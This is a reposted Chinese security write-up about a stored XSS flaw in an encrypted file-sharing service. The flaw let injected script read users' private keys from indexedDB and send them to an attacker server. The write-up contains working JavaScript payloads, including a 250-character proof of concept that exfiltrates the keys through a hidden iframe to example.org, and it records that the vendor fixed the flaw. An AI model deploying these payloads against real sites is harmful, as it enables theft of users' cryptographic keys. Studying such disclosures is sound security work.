• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

通过存储型XSS漏洞获取目标用户本地私钥信息

武飞扬头像
PHP中文网
帮助42

背景

不久前,发布于荷兰某科技网站的一篇文章展示了一种新发布的在线服务,其声称利用该服务可通过Web方式实现用户端到端的文件请求传输。

虽然该加密服务网站声称它们提供的服务绝对安全可靠,但我觉得任何人都会犯错,所以我决定深入测试分析一下。

在名称处发现存储型XSS漏洞

注册了账号之后,我就开始测试,不一会我就发现在账户名称和公司名称字段区域存在存储型XSS漏洞。该加密服务允许用户创建一个文件请求,该请求会生成一个链接,可以把该链接通过邮件形式发送给其它服务用户。收件用户收到该链接邮件后,打开邮件就能看到一个页面,在该页面中可以进行文件上传操作。用户创建的文件请求包含了用户在客户端用于文件加密的公钥信息。

这里的问题是,在这个文件请求生成的链接页面中,其用户名或公司名字段未经过滤处理,可以实现XSS Payload触发,如果在其中加入XSS Payload-<script>alert(‘Hi there!’);</script>,把相应文件请求链接发给其他用户后,当链接被打开会被执行XSS,如下:

学新通技术网

也就是说,我们能在目标用户的系统中执行任意代码,干一些坏事,但如何来深入利用它呢?

获取目标用户本地私钥信息

该加密服务使用客户端非对称加密来保护用户文件,由于加密服务是通过网站的形式来部署的,所以其加密机制应该是通过JavaScript来调用实现的,也就是说,可以通过JavaScript来获取到本地的私钥信息。经分析发现,该加密服务把用户生成的私钥信息存储在本地的indexedDB数据库中,且不可通过网络发送。

用户私钥在此是保护用户加密文件的重要信息了,有了私钥才能解密使用其配对密钥加密的文件,必须好好保护私钥且不能分享给其他人。

你可能已经猜到了,我们可以在上述存在存储型XSS漏洞的名字字段内,通过变化Payload来获取用户私钥。我写了获取本地存储信息的代码,并层层筛选测试,最终有了以下获取本地用户私钥的代码:

var dbReq = indexedDB.open("companyname");
dbReq.onsuccess = () => {
    var store = dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key");
    store.onsuccess = () => alert(store.result.pem);
};

把这段代码嵌入名字字段,然后生成文件请求链接,打开该链接就能反弹显示用户的私钥信息:

学新通技术网

从攻击者端收集受害者私钥信息

这样弹出用户私钥信息的方式可不好,我们得把它发送到我们控制的远程服务器上才行,是吧。为此,我尝试用POST方式把私钥信息发送到我控制的远程服务器上去。我遇到了第一个问题,上述存在XSS漏洞的名字区域最多只允许输入255个字符,但 JavaScript 的请求又非常冗长,所以需要尽量把代码简化。

但很快,我发现在服务应用中存在 jQuery,它允许发出非常简单和简短的Ajax请求,太好了。但最终却因为CORS的限制,我没能成功。

有人可能会说是因为我的远程服务器上没配置正确,但我确实把Access-Control-Allow-Origin设置成了*,还是不行,所以我只能估计是服务端CORS头配置的限制了。

但对于非Ajax请求来说,我发现在GET请求中,如果把数据放到URL后就是一种很好的传输方式,为此我选择了iframes方式的链接嵌入。把数据放到URL之后,如//example.com/?k=DATA,然后在请求生成的链接页面中隐蔽添加了一个iframes。受害者浏览器会加载该iframes框架,把数据回传给我,如:

$('body').append(
    '<iframe src="https://example.com/?k='  
    btoa(JSON.stringify(secret_data))  
    '" />'
);

用window.location.href方法让受害用户执行重定向跳转到攻击者页面,也是可行的,但这难免会引起怀疑。

就这样,我们就能远程收集获取到目标用户的私钥信息了!

Proof of Concept

经过测试,我把上述代码压缩,并填入我的远程服务器短域名,刚好是250个字符,低于255个最大字符的限制。完美!

<script>setTimeout(()=>indexedDB.open("companyname").onsuccess=(a)=>a.target.result.transaction(["keys"]).
objectStore("keys").getAll().onsuccess=(b)=>$('body').append('<iframe src="https://example.org?k=' btoa
(JSON.stringify(b.target.result)) '">'),1);</script>

参考以下POC视频:

https://uploads.timvisee.com/p/stealing-private-keys-from-secure-file-sharing-service-poc-video.webm

在我的远程服务器端,我用了一个简单的PHP脚本来收集上述传输回来的附加在URL后的目标用户数据,进行解析提取,会形成一个keys.txt文件进行存储。

总结

测试有效后,我及时联系了厂商,他们在15分钟就给了回复,经过一番讨论之后,他们在一个小时之内就及时修复了该漏洞。所以,我的经验是,别单单根据网站或厂商的说明去相信一项服务的安全性,安全的前提须基于以下因素:

运行有一段时间;

是开源的;

经过现实应用的考验;

经过多方参与的安全审计;

只有经过深入的研究和审查才能声称是安全的;

或者由其它可信安全的第三方托管运行。

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanfhfka
系列文章
更多 icon
同类精品
更多 icon
继续加载